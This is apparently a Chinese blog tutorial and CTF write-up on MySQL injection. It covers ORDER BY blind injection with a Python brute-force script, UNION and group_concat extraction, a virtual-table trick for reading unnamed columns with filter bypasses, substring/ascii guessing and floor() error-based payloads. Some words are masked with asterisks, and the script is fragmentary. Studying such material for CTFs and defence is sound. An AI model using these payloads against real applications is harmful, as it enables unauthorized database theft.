關(guān)于SQL注入的一些技巧分享
先上一道簡(jiǎn)單的ctf注入題:
一道利用order by進(jìn)行注入的ctf題
很不錯(cuò)的一道利用order by的注入題,之前不知道order by除了爆字段還有這種操作。
原題地址:http://chall.tasteless.eu/level1/index.php?dir=
直接進(jìn)去dir后的參數(shù)是ASC,網(wǎng)頁(yè)上有從1~10編號(hào)的10條信息。繞了一大圈反應(yīng)出是order by后的參數(shù),嘗試把參數(shù)改為DESC,果然倒序排列了。題目給了提示:hint: table level1_flag column flag給了數(shù)據(jù)表和字段,于是開(kāi)始構(gòu)造payload。
于是玄學(xué)來(lái)了,在order by后面插入管道符|之后再跟一個(gè)偶數(shù)(?這里我真的不清楚)會(huì)導(dǎo)致排序錯(cuò)亂。嘗試以下url:
http://chall.tasteless.eu/level1/index.php?dir=|2
果然排序錯(cuò)亂,那么想要查出flag必定要使用以下語(yǔ)句:
- select flag from level1_flag
(結(jié)果證明確實(shí)這是一個(gè)一行一列的玩意兒,不然就要使用到limit或group_concat)
但是網(wǎng)頁(yè)上沒(méi)有顯示這個(gè)的輸出框,于是我們這樣利用這個(gè)查詢(xún)的結(jié)果集:
- |(select(select flag from level1_flag)regexp '正則')+1
解釋一下,括號(hào)里的正則匹配成功返回1,所以再加1變成2
所以如果匹配成功,網(wǎng)頁(yè)的排序就會(huì)錯(cuò)亂,如果不成功排序則不會(huì)錯(cuò)亂,于是最終腳本:
- =|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
- ordered_content=requests.get(right_url).content
- while(1):
- for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
- if(letter=='?'):
- exit()
- result_string_tem=result_string+letter
- url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
- print url
- content=requests.get(url).content
- if(content!=ordered_content):
- result_string=result_string_tem
- print result_string
- break
- continue
總結(jié)一下:
1、管道符的使用(見(jiàn)正文)
2、regexp的使用(見(jiàn)正文)
其實(shí)還有一個(gè)group by后面的注入,where后面的都能用
0x00 union、intersect和minus的使用
union基本語(yǔ)法:
select語(yǔ)句
union select語(yǔ)句
intersect(交集)和minus(差集)也一樣,但是mysql不支持交集和差集,所以這也是一個(gè)判斷數(shù)據(jù)庫(kù)的方法。
就說(shuō)說(shuō)union:
基本法:前后兩個(gè)select語(yǔ)句的字段數(shù)要相同,不然sql必定報(bào)錯(cuò),所以可以用union指令判斷數(shù)據(jù)表的字段數(shù),基本構(gòu)造方法:
- ...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以沒(méi)有,limit視情況而定,中間輸入進(jìn)去的1,2,3,4,…,x他們中的任何一個(gè)都可以用函數(shù)代替,最終他們?cè)谀J(rèn)排序的情況下會(huì)被拼接到結(jié)果集的***一行。例:
- mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
- +------+---------+---------+---------+----------------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+----------------------+
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- | 1 | 5.5.53 | shit | 4 | 5 |
- +------+---------+---------+---------+----------------------+
- 5 rows in set (0.03 sec)
union查詢(xún)強(qiáng)大而靈活,因?yàn)樗梢圆樵?xún)兩個(gè)不同的表的信息,哪怕這兩個(gè)表字段數(shù)不同,只要這樣做:
- mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
- +------+---------+---------+---------+----------------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+----------------------+
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- | 1 | 5.5.53 | 3 | 1,2,3 | 5 |
- +------+---------+---------+---------+----------------------+
- 5 rows in set (0.03 sec)
而test_table內(nèi)的數(shù)據(jù)結(jié)構(gòu)是這樣的:
- +------------+ | test_table |
- +------------+ | 1 |
- | 2 |
- | 3 |
- +------------+
很明顯與learning_test表的字段數(shù)不同,但是我們使用了group_concat()函數(shù)拼接了我們需要的內(nèi)容。
0x01 管道符的使用
1、order by之后可以使用|數(shù)字使排序錯(cuò)亂,不清楚具體是怎么錯(cuò)亂的
2、where子句之后跟上|1或|0也能出數(shù)據(jù),但要是跟上|大于一或小于零的數(shù)就出不了數(shù)據(jù)
0x02 regexp的使用
很簡(jiǎn)單,正則匹配,匹配對(duì)象必須是單行單列,或者說(shuō)是字符串?;菊Z(yǔ)法:
select (select語(yǔ)句) regexp '正則'
意思是將括號(hào)內(nèi)的查詢(xún)的結(jié)果集嘗試與給出的正則匹配,如果配對(duì)成功則返回1,配對(duì)失敗返回0。
0x03 group_concat()的使用
將一列數(shù)據(jù)進(jìn)行拼接,非常便利的函數(shù),一般與union一起使用,就像本節(jié)的***小節(jié)給出的***一個(gè)例子一樣。
0x04 利用虛擬表在不知道字段名的情況下出數(shù)據(jù)
- -1 UNION ALL SELECT * FROM (
- (SELECT 1)a JOIN (
- SELECT F.4 from (
- SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r
- UNION
- SELECT * FROM NEWS LIMIT 1 OFFSET 4
- )F
- )b JOIN (SELECT 3)c JOIN (SELECT 4)d
- )
先上一道ctf題的payload進(jìn)行分析:
正常版:
- -1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
這本是一道ctf題,前面估計(jì)是where后面的子句。這道題過(guò)濾了三樣?xùn)|西:1、空格,2、逗號(hào),3、字段名
這里不詳細(xì)說(shuō)繞過(guò),方法很多,空格利用%0a繞過(guò),union指令中的逗號(hào)利用join繞過(guò),limit指令中的逗號(hào)利用offset繞過(guò)。
這里因?yàn)閜ayload中不能出現(xiàn)字段名,因此我們創(chuàng)建了一個(gè)與所查表字段數(shù)相同的虛擬表并對(duì)其并將其查詢(xún)結(jié)果與前面的查詢(xún)union起來(lái)。具體來(lái)說(shuō)是這樣:
-- 比如說(shuō)在原查詢(xún)的第二字段處出數(shù)據(jù)
- ... where ...
- union all
- select * from(
- (select 1)a join(
- select F.[需要查詢(xún)的字段號(hào)] from(
- select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)]
- union
- select * from [需要查詢(xún)的表] [limit子句]
- )F-- 我們創(chuàng)建的虛擬表沒(méi)有表名,因此定義一個(gè)別名,然后直接[別名].[字段號(hào)]查詢(xún)數(shù)據(jù)
- )b-- 同上[還差多少字段就再join多少個(gè),以滿(mǎn)足字段數(shù)相同的原則] )
正常版:
- ... where ... union all select * from((select 1)a join(select F.[需要查詢(xún)的字段號(hào)] from(select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)] union select * from [需要查詢(xún)的表] [limit子句])F)b[還差多少字段就再join多少個(gè),以滿(mǎn)足字段數(shù)相同的原則])
payload中的join換成逗號(hào)亦可。
我們平時(shí)使用union時(shí)都是將union select 1,2,3,4…寫(xiě)在后面以填充不存在的數(shù)據(jù)并測(cè)試字段數(shù)。在這種操作中我們把union select 1,2,3,4…寫(xiě)在了前面來(lái)充當(dāng)虛擬表的字段名。本質(zhì)上來(lái)說(shuō)并不是不知道字段名,而是把不知道字段名的表的查詢(xún)結(jié)果和我們創(chuàng)建的字段名為1,2,3,4…的虛擬表的交集作為一個(gè)結(jié)果集返回。
這里有一個(gè)點(diǎn),方括號(hào)內(nèi)的limit子句需要特別注意,要取下面這個(gè)子查詢(xún)
- select F.[需要查詢(xún)的字段號(hào)] from(select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)] union select * from [需要查詢(xún)的表] [limit子句]
結(jié)果集的***一行,因?yàn)槲覀冃枰臄?shù)據(jù)被union拼到了***一行(在我們需要的數(shù)據(jù)只有一行的情況下)。
如果我們需要的東西不止一行會(huì)怎么樣呢?一段簡(jiǎn)單的測(cè)試:
- mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);
- +------+---------+---------+---------+-------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+-------------+
- | 1 | a | s | s | aaaaaaaaa |
- | 2 | b | s | s | dddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | ffffffff |
- | 1 | 2 | 3 | 4 | 5 |
- | 1 | 3 | 3 | 4 | 5 |
- +------+---------+---------+---------+-------------+
- 6 rows in set (0.00 sec)
并不會(huì)報(bào)錯(cuò),我們需要的查詢(xún)結(jié)果就是第5,6行第2字段的2和3。
下面是對(duì)虛擬表的簡(jiǎn)單測(cè)試:
- mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;
- Empty set (0.00 sec)
- mysql> select * from ((select 1)a join (select 2)b);
- +---+---+
- | 1 | 2 |
- +---+---+
- | 1 | 2 |
- +---+---+
- 1 row in set (0.00 sec)
可以看到我們創(chuàng)建的確實(shí)是字段名為1和2的虛擬表,此表的結(jié)構(gòu)為一行兩列。
用虛擬表去union其他表的數(shù)據(jù):
- mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;
- +------+------+-------+--------+-------------+
- | 233 | 2333 | 23333 | 233333 | 2333333 |
- +------+------+-------+--------+-------------+
- | 233 | 2333 | 23333 | 233333 | 2333333 |
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- +------+------+-------+--------+-------------+
- 5 rows in set (0.00 sec)
表明我們之前的分析是正確的,方法可行。
0x05 substring()和ascii()的聯(lián)合使用
用于猜解數(shù)據(jù)庫(kù)名、表名、字段名和查詢(xún)結(jié)果等
具體使用:
- mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
- +--------------------------------------------------------------------------------------+
- | ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
- +--------------------------------------------------------------------------------------+
- | 1 |
- +--------------------------------------------------------------------------------------+
- 1 row in set (0.02 sec)
看到返回了1,也就是說(shuō)select bin_column from learning_test where num=2這個(gè)查詢(xún)語(yǔ)句返回的結(jié)果集的***個(gè)字符的ascii碼確實(shí)是大于10的。當(dāng)然這個(gè)過(guò)程是繁瑣的,可以使用腳本進(jìn)行自動(dòng)化猜解,或使用sqlmap中集成的類(lèi)似的自動(dòng)化注入功能。
0x06 利用floor()報(bào)錯(cuò)注入
payload:
- ...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
- ...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))